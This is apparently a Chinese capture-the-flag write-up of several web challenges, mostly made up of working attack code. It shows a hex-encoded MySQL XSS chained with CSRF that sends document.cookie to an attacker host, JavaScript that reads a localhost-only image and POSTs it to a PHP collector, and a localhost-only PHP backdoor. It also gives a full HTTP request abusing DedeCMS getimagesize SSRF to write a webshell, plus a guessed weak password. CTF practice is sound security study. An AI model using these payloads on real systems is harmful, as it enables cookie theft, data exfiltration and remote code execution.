目录扫描得到file/file.php,然后猜测可以跨目录删除文件
删除文件后重装metinfo,重装的时候数据库名填写:
密码填写为root,这里提一句,由于平台的网络acl问题,所有的环境都是不能外连mysql的,导致会有一点坑。
最后就是getshell拿flag
通过mysql执行,经过hex编码后,输出可以造成xss
select 0x3c7363726970743e616c6572742831293c2f7363726970743e
结合csrf即可打到后台
提交。
其中加载的js内容为:
self.location = 'http://ip/x.php?
v=aaa'+btoa(document.cookie)+'aaa';
可以从服务器上面知道,有管理员登录了后台,但是地址是127.0.0.1的。
访问:
http://love.lemon/admin_zzzz666.php
提示后台只能是127.0.0.1这个访问。
所以需要改一下前面的csrf html
然后便可以打到cookie
通过页面源码获取可以知道一个
./static/img/iamsecret_555.jpg
外网直接访问是不行的,会403,需要通过xss来获取图片内容。flag也在图片上面。
var love={ajax:function(){var a;try{a=new XMLHttpRequest()}catch(e){try{a=new ActiveXObject("Msxml2.XMLHTTP")}catch(e){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){return false}}}return a},req:function(b,c,d,e){d=(d||"").toUpperCase();d=d||"GET";c=c||"";if(b){var a=this.ajax();a.open(d,b,true);if(d=="POST"){a.setRequestHeader("Content-type","application/x-www-form-urlencoded")}a.onreadystatechange=function(){if(a.readyState==4){if(e){e(a)}}};if((typeof c)=="object"){var f=[];for(var i in c){f.push(i+"="+encodeURIComponent(c[i]))}a.send(f.join("&"))}else{a.send(c||null)}}},get:function(a,b){this.req(a,"","GET",b)},post:function(a,b,c){this.req(a,b,"POST",c)}};
function getBase64(img){
function getBase64Image(img,width,height) {//width、height调用时传入具体像素值,控制大小 ,不传则默认图像大小
var canvas = document.createElement("canvas");
canvas.width = width ? width : img.width;
canvas.height = height ? height : img.height;
var ctx = canvas.getContext("2d");
ctx.drawImage(img, 0, 0, canvas.width, canvas.height);
var dataURL = canvas.toDataURL();
return dataURL;
}
var image = new Image();
image.crossOrigin = '';
image.src = img;
return new Promise((resolve,reject)=>{
image.onload =function (){
resolve(getBase64Image(image));//将base64传给done上传处理
}
});
}
getBase64('http://127.0.0.1/static/img/iamsecret_555.jpg').then(base64 => {
love.post(
"http://ip/xss/x.php",
"v="+base64,
function(res){
console.log(res);
}
);
}, err => {
console.log(err)
})
获取图片内容
X.php内容
header('Access-Control-Allow-Origin: *');
file_put_contents('log.txt',$_POST['v']);
最后会获取到图片,当然这个过程中+会被转换为空格,所以后面还要转换回来。
题目描述:
运维自己的网站,我还是喜欢用shell的方式,这样肯定没人能日进来了。
1.php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>
感觉很傻的故事,没法,不知道如何去设计这个考点,但是从上来看,肯定是靠ssrf的点。
考点便是前段时间一个思路很棒的漏洞:
dedecms利用通配符找后台目录
当然
getimagesize
这个函数还可以远程http请求,导致可以进行ssrf,有兴趣的朋友可以跟进php内核看下。
所以接下来就比较简单了,直接利用本身的shell去操作即可。
POST /tags.php HTTP/1.1
Host: love.lemon
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: YDAL_2132_saltkey=umJCWaoK; YDAL_2132_lastvisit=1531231707; YDAL_2132_ulastactivity=8d9ffh%2BiVUvLiWxFVmAltTKPHq5V9hUJ5PvDa4s84r553KMhDZMx; YDAL_2132_auth=a017j1pf9qMN%2F5Pa1g7C6kyv3ik6f%2B7eqtppI5c6sSWzI0ggQU5wSkRNDoXuXqvSSMnI%2BN3ObxEMn7jaaNJW; YDAL_2132_nofavfid=1; YDAL_2132_lip=10.211.55.2%2C1531237092; YDAL_2132_home_diymode=1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 251
dopost=save&_FILES[lsa][tmp_name]=http://127.0.0.1/1.php?a=assert%26b=file_put_contents($_GET[1],base64_decode($_GET[2]));%261=./uploads/soft/aaaa.php%262=PD9waHAgcGhwaW5mbygpOyA/Pg==&_FILES[lsa][name]=0&_FILES[lsa][size]=0&_FILES[lsa][type]=image/gif
首先看到首页:
用户名为[email protected]
猜测密码为弱口令babyweb@1990